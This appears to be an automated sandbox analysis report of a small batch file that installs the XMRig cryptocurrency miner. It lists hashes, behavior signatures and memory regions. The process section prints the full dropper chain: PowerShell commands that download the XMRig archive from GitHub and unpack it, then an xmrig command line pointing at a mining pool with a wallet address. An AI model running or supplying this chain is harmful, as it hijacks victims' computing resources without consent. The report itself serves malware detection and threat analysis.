Analysis

  • max time kernel
    1793s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 21:13

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4980
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3900

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ce6d9d8cb0e7349eec7a3fef2b12a4bd

    SHA1

    4958fde59f3d6ea49a11631d672351a9ebe558f8

    SHA256

    4744db03976bfcfb6113fbe1c172a4b0413d322ec678f232744ba2b1e741babc

    SHA512

    5e4d8201825dfa0f7e6f548a4fbe3fc0b4368e3e72844a3ab22b9a55599cdbfa417b020b4c63cc03ead63a8cf267e71e99c17069f00d67ba3d4ac8d309b6c361

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qrougwxv.do3.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    960KB

    MD5

    71c21368b9a5725a21b6f5e566f29306

    SHA1

    da8a5cf479a868de76da62e6cc979888c4c3f501

    SHA256

    b39a59e97b291ef7807fe23b78260e90d5d89ccd7a44d1663f7bb77255a752c3

    SHA512

    8ad46294f9b504fa28e6d5703d7ed4254f3fd1d695f3f9c65397f0c91f98ec499e39553d97c74309f015f2d7d0364bd2e6074f864f881077b226b404aaad25f2

  • memory/3900-142-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-170-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-184-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-183-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-182-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-181-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-180-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-179-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-178-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-177-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-176-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-175-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-174-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-116-0x0000021541110000-0x0000021541130000-memory.dmp

    Filesize

    128KB

  • memory/3900-117-0x0000021541140000-0x0000021541180000-memory.dmp

    Filesize

    256KB

  • memory/3900-118-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-119-0x0000021541180000-0x00000215411A0000-memory.dmp

    Filesize

    128KB

  • memory/3900-120-0x00000215411A0000-0x00000215411C0000-memory.dmp

    Filesize

    128KB

  • memory/3900-121-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-122-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-123-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-124-0x0000021541180000-0x00000215411A0000-memory.dmp

    Filesize

    128KB

  • memory/3900-125-0x00000215411A0000-0x00000215411C0000-memory.dmp

    Filesize

    128KB

  • memory/3900-126-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-127-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-128-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-129-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-130-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-131-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-132-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-133-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-134-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-135-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-136-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-137-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-138-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-139-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-140-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-141-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-173-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-172-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-145-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-143-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-146-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-147-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-148-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-149-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-150-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-151-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-152-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-153-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-154-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-155-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-156-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-157-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-158-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-159-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-160-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-161-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-162-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-163-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-164-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-165-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-166-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-167-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-168-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-169-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-144-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/3900-171-0x00007FF6D1920000-0x00007FF6D2423000-memory.dmp

    Filesize

    11.0MB

  • memory/4356-30-0x00007FFBBCC00000-0x00007FFBBD5EC000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-4-0x0000023EEBD70000-0x0000023EEBD92000-memory.dmp

    Filesize

    136KB

  • memory/4356-8-0x00007FFBBCC00000-0x00007FFBBD5EC000-memory.dmp

    Filesize

    9.9MB

  • memory/4356-17-0x0000023ED1E60000-0x0000023ED1E70000-memory.dmp

    Filesize

    64KB

  • memory/4356-18-0x0000023ED1E60000-0x0000023ED1E70000-memory.dmp

    Filesize

    64KB

  • memory/4356-7-0x0000023EEBF20000-0x0000023EEBF96000-memory.dmp

    Filesize

    472KB

  • memory/4356-25-0x0000023ED1E60000-0x0000023ED1E70000-memory.dmp

    Filesize

    64KB

  • memory/4980-76-0x00000119A03F0000-0x00000119A0402000-memory.dmp

    Filesize

    72KB

  • memory/4980-38-0x00000119A02E0000-0x00000119A02F0000-memory.dmp

    Filesize

    64KB

  • memory/4980-36-0x00000119A02E0000-0x00000119A02F0000-memory.dmp

    Filesize

    64KB

  • memory/4980-62-0x00000119A02E0000-0x00000119A02F0000-memory.dmp

    Filesize

    64KB

  • memory/4980-35-0x00007FFBBCC00000-0x00007FFBBD5EC000-memory.dmp

    Filesize

    9.9MB

  • memory/4980-89-0x0000011988040000-0x000001198804A000-memory.dmp

    Filesize

    40KB

  • memory/4980-113-0x00007FFBBCC00000-0x00007FFBBD5EC000-memory.dmp

    Filesize

    9.9MB